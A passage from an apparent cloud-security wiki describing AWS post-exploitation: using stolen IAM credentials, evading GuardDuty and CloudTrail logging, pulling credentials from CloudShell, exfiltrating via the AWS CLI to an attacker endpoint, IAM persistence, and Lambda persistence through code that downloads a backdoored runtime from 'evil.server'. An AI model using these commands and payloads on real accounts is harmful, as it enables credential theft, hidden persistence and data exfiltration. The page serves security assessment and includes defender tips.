Temporary credentials, by comparison, will have an access key that starts with ASIA, be 20 characters long, and also have a 40 character secret key. In addition, temporary security credentials will also have a session token (sometimes referred to as a security token). The session token will be base64 encoded and quite long. With these 3 credentials combined you can potentially make requests to the AWS API. As the name implies, these credentials have a temporary lifespan that is determined when they were created. It can be as short as 15 minutes, and as long as several hours.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#working-with-the-keys","title":"Working with the Keys","text":"

After gathering the credentials you will likely want to use them with the AWS CLI. There are a few ways to do this, however setting them as environment variables is likely the easiest.

To do this with long term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=AKIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\n

To do this with short term credentials, set the following environment variables.

export AWS_ACCESS_KEY_ID=ASIAEXAMPLEEXAMPLEEE\nexport AWS_SECRET_ACCESS_KEY=EXAMPLEEXAMPLEEXAMPLEEXAMPLEEXAMPLESEXAM\nexport AWS_SESSION_TOKEN=EXAMPLEEXAMPLEEXAMPLE...<snip>\n

Note

You may also have to specify an AWS region. This can be globally set with the aws configure command or through the AWS_REGION environment variable.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#determining-validity","title":"Determining Validity","text":"

Now that you have credentials and have them setup to use, how can you determine if they are valid (not expired or deactivated)? The simplest way would be to make use of the sts:GetCallerIdentity API call. This method is helpful because it will allow us to determine if the credentials are valid and it will also tell us useful information such as the name of the role/user associated with these credentials and the AWS account ID they belong to.

As an added bonus, we can be confident this API call will always work. From the documentation, \"No permissions are required to perform this operation. If an administrator adds a policy to your IAM user or role that explicitly denies access to the sts:GetCallerIdentity action, you can still perform this operation\".

$ aws sts get-caller-identity\n{\n    \"UserId\": \"AROAEXAMPLEEXAMPLEEXA:Nick\",\n    \"Account\": \"123456789123\",\n    \"Arn\": \"arn:aws:sts::123456789123:assumed-role/blah/Nick\"\n}\n

Tip

For defensive security professionals, it may be worthwhile to alert on invocations of sts:GetCallerIdentity from identities that have no history of calling it. For example, if an application server in a production environment has never called it before, that may be an indication of compromise.

It is worth noting that sts:GetCallerIdentity may be legitimately used by a large number of projects, and that individual developers may use it as well. To attempt to reduce the number of false positives, it would be best to only alert on identities which have no history of calling it.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#operational-security-considerations","title":"Operational Security Considerations","text":"

If you are attempting to maintain stealth, sts:GetCallerIdentity may be a risk. This API call logs to CloudTrail which means that defenders will have a log with additional details that this occurred. To get around this, we can make use of data events.

Data events are high-volume API calls for resources in an AWS account. Because of the number of times these APIs may be called, they are not logged to CloudTrail by default and in some cases they cannot be logged at all.

An example of this would be sqs:ListQueues. By making this API call we can get similar information to sts:GetCallerIdentity without the risk of logging to CloudTrail.

user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n

For more information on this technique, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#avoiding-detection","title":"Avoiding Detection","text":"

There are situations where simply using the credentials could alert defenders to your presence. As a result, it is a good idea to be mindful of these circumstances to avoid being caught.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-pentest-findings-and-cli-user-agents","title":"GuardDuty Pentest Findings and CLI User Agents","text":"

If you are using a \"pentesting\" Linux distribution such as Kali Linux, Parrot Security, or Pentoo Linux you will immediately trigger a PenTest GuardDuty finding. This is because the AWS CLI will send along a user agent string which contains information about the operating system making the API call.

In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.

Tip

Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.

Defenders, this may also be worth looking into for detection purposes.

For more information on this, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"

Note

This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.

When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).

This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).

To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.

For more information on this, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"

Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.

One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication.

From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".

For more information on this, please see its article.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"
  • Technique seen in the wild

    Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies

  • Tools mentioned in this article

    aws-vault: A vault for securely storing and accessing AWS credentials in development environments.

    aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.

    Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.

When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

Note

If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

Tip

If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"

To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

From here, perform the following commands depending on the type of credentials you have.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"

For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

aws sts get-federation-token --name blah\n

This will return temporary IAM credentials that you can use with the next step.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"

For short-term credentials (Those starting with ASIA), you can run the following command:

aws-vault login\n

Tip

If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

To learn more about custom identity broker access to the AWS Console please see the official documentation.

"},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"
  • Technique seen in the wild

    Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

$ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n

Tip

As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

"},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"
  • Original Research

    Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper

When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n

Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

[user@cloudshell]$ aws configure export-credentials --format env\n
"},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"

After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"
  • Technique seen in the wild

    • SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto
    • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
  • Required IAM Permission

    • iam:CreateAccessKey

AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

Tip

Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"
  • Technique seen in the wild

    • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
  • Required IAM Permission

    • iam:CreateLoginProfile

AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"
  • Required IAM Permission

    • iam:UpdateAssumeRolePolicy

In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::<attacker_aws_account_id>:role/secret_admin\"\n  }\n}\n

Tip

For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.

"},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
  • Technique Article

    • Survive Access Key Deletion with sts:GetFederationToken
"},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"

EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.

By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.

"},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"
  • Technique Article

    • Lambda Persistence
"},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"
  • Technique Article

    • User Data Script Persistence
"},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"
  • Original Research

    Intercept SSM Agent Communications by Nick Frichette

  • Tools mentioned in this article

    ssm-agent-research

The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

For an in depth explanation of how this works, please see the original research.

Warning

The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"

The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.

Using the ssm-send-command-interception.py PoC:

"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"

Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

Using the ssm-session-interception.py PoC:

"},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"
  • Original Research

    Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami

  • Additional Resources

    Revisiting Lambda Persistence

Warning

Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

Note

See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.

"},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"

After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

Note

You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n

Or as a long one-liner (don't forget to change the hostname):

python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n

From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.

"},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"

After identifying that your target is using the Python runtime, you\u2019ll need a copy of the /var/runtime/lib/runtime.rb file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

With the runtime.rb file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like run.rb. This is because you'll want to create a symbolic link between everything in /var/runtime/lib to /tmp. This will ensure your modified runtime.rb file can access all the additional libraries it needs.

The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n

Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):

ln -s /var/runtime/lib/* /tmp && ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" && ruby /tmp/run.rb &\n

From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.

"},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"

How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like log_format postdata $request_body.

Next, include the following inside the server block:

location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n

After restarting Nginx, all logs received via post requests should be stored in /var/log/nginx/postdata.log.

"},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"
  • Original Research

    Daniel Heinsen

  • Tools mentioned in this article

    AWSRoleJuggler

When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

Through this, you can extend your access by chaining assume-role calls.

Note

You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

To automate this work Daniel Heinsen developed a tool to keep the juggling going.

user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n
"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"

After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

Tip

By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"
  • Required IAM Permissions

    • ssm:SendCommand
  • Recommended but not Required IAM Permissions

    • ssm:ListCommandInvocations
    • ec2:DescribeInstances

You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n

If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.

If you would like to retrieve the output, make a note of the CommandId returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:

aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n

Note

The --details is required to view the output of the command.

The output of the command will be in the Output section under CommandPlugins.

"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"
  • Required IAM Permissions

    • ssm:StartSession

If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.

To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.

With that installed, you can then run the following command to start an interactive session.

aws ssm start-session --target instance-id\n
"},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"

For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"

When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

"},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"

Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"

S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"
  1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
  2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
"},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
  • Technique seen in the wild

    • How Adversaries Can Persist with AWS User Federation
  • Required IAM Permission

    • sts:GetFederationToken

After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

  • You cannot call any IAM operations using the AWS CLI or the AWS API.
  • You cannot call any AWS STS operations except sts:GetCallerIdentity.

However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

Tip

If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n

Warning

While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the AdministratorAccess policy raise suspicions? What about an extremely long lived session?

It is important to note that the provided policy-arns will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the AdministratorAccess policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.

Tip

In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.

For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.

It is also advisable to determine how common the use of sts:GetFederationToken is in your environments and alert on its use, or implement a Service Control Policy to prevent it.

"},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"

When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"
  • Required IAM Permissions

    • modify-instance-attribute
  • Recommended but not Required IAM Permissions

    • ec2:StartInstances
    • ec2:DescribeInstances
    • ec2:StopInstances

If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

The steps to modify user data scripts can be found here.

"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"

In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

"},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"
  • Original Research

    Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape

Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container\n

A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

"},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"

First we enable the managed identity for the web application:

)

Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.

The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

